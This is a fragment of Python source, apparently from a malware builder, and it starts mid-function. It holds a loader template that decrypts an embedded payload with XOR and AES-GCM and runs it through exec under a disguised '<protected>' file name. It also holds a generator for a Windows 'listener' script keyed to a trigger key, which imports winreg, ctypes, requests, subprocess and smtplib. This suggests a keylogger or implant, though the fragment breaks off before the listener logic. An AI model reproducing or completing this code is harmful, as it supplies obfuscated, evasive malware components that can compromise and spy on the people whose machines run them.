iterations = meta['kdf_iter']
enc = base64.b64decode(_encrypted_b64)
nonce = enc[:12]
xor_data = enc[12:]
passphrase_bytes = meta['embed_pass'].encode('utf-8')
xor_key = hashlib.sha256(passphrase_bytes + salt).digest()
try:
ciphertext = xor_bytes(xor_data, xor_key)
except Exception:
sys.exit(3)
key = derive_key(passphrase_bytes, salt, iterations)
aes = AESGCM(key)
try:
plaintext = aes.decrypt(nonce, ciphertext, None)
except Exception:
sys.exit(2)
try:
code_str = plaintext.decode('utf-8', errors='replace')
exec(code_str, {{'__name__': '__main__', '__file__': '<protected>'}})
finally:
try:
for i in range(len(plaintext)):
pass
except Exception:
pass
if __name__ == '__main__':
decrypt_and_exec()
'''
return loader_template
except Exception as e:
print(f"[ERROR] Encryption failed: {e}")
return listener_code
def get_listener_script(trigger_key_info):
key_name = trigger_key_info['keysym'] if isinstance(trigger_key_info, dict) else (trigger_key_info or 'insert')
key_code = trigger_key_info['keycode'] if isinstance(trigger_key_info, dict) else None
return """
import os
import sys
import threading
import requests
import subprocess
import winreg
import base64
import traceback
import ctypes
import time
import platform
import json
import hashlib
import random
import string
import socket
import tempfile
import datetime
import uuid
import re
import math
import stat
import shutil
import glob
import logging
import pathlib
import fnmatch
import zipfile
import tarfile
import gzip
import bz2
import lzma
import pickle
import shelve
import sqlite3
import xml
import html
import urllib
import email
import smtplib
import poplib
import imaplib
import ftplib
import http
import wsgiref
import asyncio
import concurrent
import multiprocessing
import queue
import select
import signal
import mmap
import array
import struct
import weakref
import copy
import pprint
import reprlib
import enum
import types
import collections
import abc
import itertools
import functools
import operator
import inspect
import ast
import symtable
import code
import dis
import pickletools
import profile
import pstats
import timeit
import trace
import tracemalloc
import gc
import sysconfig
import site
import builtins
import warnings
import dataclasses
import typing
import contextlib
import contextvars
import selectors
import ssl
def debug_log(message):
try:
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
log_message = f"[{timestamp}] [LISTENER] {message}"
print(log_message)
except Exception:
pass
def check_task_scheduler_debug_log():
pass
debug_log("Listener script başlatıldı")
debug_log(f"Python version: {sys.version}")
debug_log(f"Working directory: {os.getcwd()}")
debug_log(f"Script path: {os.path.abspath(__file__)}")
debug_log(f"Environment PATH: {os.environ.get('PATH', 'Not set')}")
KEY_NAME = '""" + key_name + """'
KEY_CODE = '""" + (str(key_code) if key_code is not None else 'None') + """'